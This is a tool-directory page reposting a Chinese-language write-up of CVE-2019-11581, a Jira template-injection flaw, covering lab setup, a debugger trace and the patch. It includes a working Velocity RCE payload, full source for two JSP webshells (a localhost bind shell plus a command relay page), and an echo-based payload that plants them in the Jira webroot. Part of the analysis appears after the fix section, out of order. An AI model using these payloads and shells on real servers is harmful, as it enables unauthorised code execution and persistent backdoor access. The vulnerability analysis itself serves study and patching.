Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-11581 — Atlassian Jira unauthen template injection | Kitploit
工具/GitHubGitHub/petrusviet/cve-2019-11581
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationLearning & EducationPayload Development
GitHubpetrusviet/cve-2019-11581

CVE-2019-11581

Atlassian Jira unauthen template injection

查看仓库
624年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Atlassian Jira 未认证模板注入 (CVE-2019-11581)

I) 搭建环境

1. 漏洞版本

root@kitploit:~
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x 至 7.6.14(7.6.x 的修复版本)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x 至 7.13.5(7.13.x 的修复版本)
8.0.x 至 8.0.3(8.0.x 的修复版本)
8.1.x 至 8.1.2(8.1.x 的修复版本)
8.2.x 至 8.2.3(8.2.x 的修复版本)

2. 构建及调试

  • 修改 ./bin/setenv.bat 文件中的 set JVM_SUPPORT_RECOMMENDED_ARGS= 值(或 Linux 下对应的 ./bin/setenv.sh),以启用远程调试
root@kitploit:~
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  • 在 IDE(Intellij)中创建一个调试配置:Remote JVM Debug,host 和 port 设置为 localhost:5005,Command line arguments for remote JVM 为:
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • 运行 ./bin/config.bat(或 Linux 下的 config.sh),将 "Jira home" 设置为自己的 jira home 目录 image

  • 运行 ./bin/start-jira.bat(或 Linux 下的 ./bin/start-jira.sh)。请检查 Java 版本以及 8080 端口和 5005 端口是否可用,否则无法启动!

  • 选择 private 模式 image

  • 到这一步,请记得使用能接收邮件的邮箱地址 :) image

  • 配置并测试连接,确保完整 image

  • 在 http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa 开启 Contact Administrators Form 功能 image

  • 我只记录了一些构建时的注意事项,更多可参考 从源码构建 Jira

II) 分析

阅读 安全公告 后,我们知道此漏洞位于 ContactAdministrators 和 SendBulkMail(后者需要认证,故略过)。因此我开始测试 ContactAdministrators 功能并抓取请求。

image

  • 我看到请求发往 /secure/ContactAdministrators.jspa,于是查看文件 ./atlassian-jira/WEB-INF/web.xml 来确定该请求被转发到哪个类
    image
    image

  • 因此该请求将由 JiraWebworkActionDispatcher 处理,我在该类的 init 和 server 方法上设置断点并启动调试 image

  • 程序停在了 server 方法,跟踪一会儿后程序跳入 ContactAdministrators.doExecute() image

  • 然后进入 send,在此方法中程序列出了所有活跃的管理员账户 image

  • 接着程序进入 sendTo 方法。这里我们看到程序创建了一个 MailQueueItem 并将其添加到 中。

root@kitploit:~
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }
  • 然后调用 DefaultVelocityManager.writeEncodedBodyForContent image
  • 继续经过 VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader)。在此处,程序从 Reader 创建了一个 SimpleNode image
  • 程序执行到 render 方法,此处调用了 nodeTree.render(ica, writer); 来解析 Velocity 模板,因此这里可以发生模板注入!
root@kitploit:~
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### 此处可导致 RCE ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }
  • 我将联系邮件主题替换为以下 Velocity 模板 payload:
root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

image

  • 成功复现 PoC :) image

调用栈

root@kitploit:~
ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	

至此我们可以在 Jira 服务器上实现 RCE,但如果我们希望获取一个 shell 而服务器没有出站连接怎么办?这种情况下我们无法像通常那样创建 bind/reverse shell,因为没有端口可以连接到互联网。

我从 @honson97 那里得到一个提示:“使用一个 jsp web 页面接收攻击者输入,然后传递给一个独立监听在服务器本地 localhost 的 bind shell”。

image

基于这个思路,我编写了两个 jsp 文件:web.jsp 和 blind.jsp。blind.jsp 充当 blind shell,始终监听 localhost:4444,接收命令后传给 cmd/base 并返回结果给 web.jsp,而 web.jsp 作为攻击者输入/输出命令的界面。

文件: web.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

文件: bind.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

接下来将 shell 上传到服务器。由于我们考虑的是服务器没有出站连接的情况,只能通过 echo 命令上传文件。首先用 Python 去除换行符和转义特殊字符:

root@kitploit:~
a = """ 将文件内容粘贴到这里 """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)

然后复制得到的字符串放入 payload:

root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()

上传完 web.jsp 和 bind.jsp 后,访问 /bind.jsp,再打开新标签页访问 /web.jsp?cmd=COMMAND 测试 shell。 image

修复

在 ContactAdministrators.sendTo() 中,修复版本不再直接将客户端输入传递给 EmailBuilder.withSubject 以转换为可渲染的模板源,而是将输入作为字符串上下文,只将字符串 "$subject" 传入 EmailBuilder.withSubject。当渲染时,系统执行模板 "$subject",即加载 subject 字符串上下文(客户端输入)而不渲染它们。换句话说,程序将输入作为字符串加载,而不是作为可渲染的模板。

image 漏洞版本

image 修复版本

下载工具
mailQueue
image
  • 程序调用了 EmailBuilder.withSubject。此处邮件主题(攻击者提交)字符串被转换为 TemplateSources 并赋值给 EmailBuilder 的 subjectTemplate 参数。 image

  • 在 renderLater 方法中,程序创建了一个 EmailRenderer 并用它来生成 RenderingMailQueueItem image

  • 此时,回到 ContactAdministrators.sendTo。创建完 MailQueueItem 后,程序将其加入 mailQueue 并返回 doExecute 进行重定向。如果按照这个调试流程,我们无法跳转到邮件渲染部分,也就无法到达模板注入发生的位置。那么如何跟踪邮件的处理过程呢?

  • 我看到 EmailRenderer 中有 renderNow 方法(程序只调用了 renderLater),我猜测当队列中的邮件被调用渲染时,也会走类似 renderNow 的流程。因此我决定从 renderNow 方法开始跟踪。 image

  • 从 renderNow 出发,程序调用 EmailRenderer.render()。我在此处设置断点并重新发起请求,以确认程序是否确实执行到这里。 image

  • 幸运的是,程序按照我预想的方向执行了。接下来调用 renderEmailSubject image

  • 接着调用 DefaultVelocityTemplatingEngine.render(this.subjectTemplate) image

  • 进入 DefaultVelocityTemplatingEngine.applying 和 DefaultVelocityTemplatingEngine.asPlainText image

  • 继续调用 asPlainText(Writer writer) image

  • 进入 toWriterImpl,由于传入的 writer 是一个 Fragment,程序跳转到 else 分支